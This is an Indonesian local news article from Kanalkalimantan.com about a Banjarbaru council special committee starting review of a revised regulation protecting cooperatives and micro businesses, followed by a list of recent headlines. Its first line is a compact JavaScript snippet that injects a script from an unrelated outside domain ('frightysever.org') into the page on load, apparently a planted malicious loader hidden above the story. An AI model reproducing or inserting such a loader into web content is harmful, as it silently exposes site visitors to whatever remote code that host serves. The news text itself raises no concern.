(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pansus V Bahas Revisi Perda Perlindungan Koperasi dan Usaha Mikro


KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) V DPRD Banjarbaru Provinsi mulai membahas rancangan peraturan daerah penyelenggaraan kemudahan perlindungan dan pemberdayaan koperasi dan usaha mikro.

“Rapat Pansus V pertama mengundang Dinas Koperasi UMKM dan Tenaga Kerja Banjarbaru dan Bagian Hukum Setdako Banjarbaru,” ujar Liana, Ketua Pansus V DPRD Banjarbaru, Senin (10/7/2023).

Menurut politisi perempuan Partai Golkar itu, mengingat rapat perdana sehingga belum masuk substansi tetapi masih meminta penjelasan terkait pembinaan dan perlindungan terhadap koperasi dan usaha mikro.

Liana menuturkan, anggota Pansus meminta penjelasan atas dasar hukum karena Raperda yang dibahas adalah revisi Perda terdahulu yang disempurnakan guna melindungi koperasi dan usaha mikro.

Baca juga: Tingkatkan Transaksi QRIS, BI Kalsel Gelar Pesta Rakyat Banua

“Kami minta penjelasan dasar hukum yang sebelumnya dan mengapa direvisi agar pembahasan ke depan dapat lebih mendalam,” ucapnya.

Liana menambahkan, sesuai tujuan revisi Perda, perlindungan terhadap koperasi dan usaha mikro dapat diwujudkan melalui Perda baru yang lebih sempurna terutama dalam melindungi usaha masyarakat.

Selama ini cukup banyak usaha mikro yang terkendala modal untuk pengembangan usaha disamping ada juga yang produksi sudah bagus tetapi mengalami kendala pemasaran.

“Hambatan dan kendala yang dirasakan pelaku usaha itu berupaya dicarikan solusinya disamping juga dibuatkan payung hukum berupa Perda, sehingga masyarakat dan pelaku usaha lebih nyaman,” ujarnya.

Baca juga: Empat Titik Karhutla di Kabupaten Banjar, Heli Water Boombing Diturunkan ke Gunung Pamaton

Pembinaan maupun pengembangan koperasi dan usaha mikro diperhatikan sehingga mereka tidak terjerat pinjaman yang dikenal cepat dan mudah.

“Kita semua tidak ingin koperasi dan pelaku usaha mikro terjerat pinjaman online sehingga melalui Perda nanti, mereka terlindungi dan usahanya bisa terus tumbuh dan berkembang,” kata Liana. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

12 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.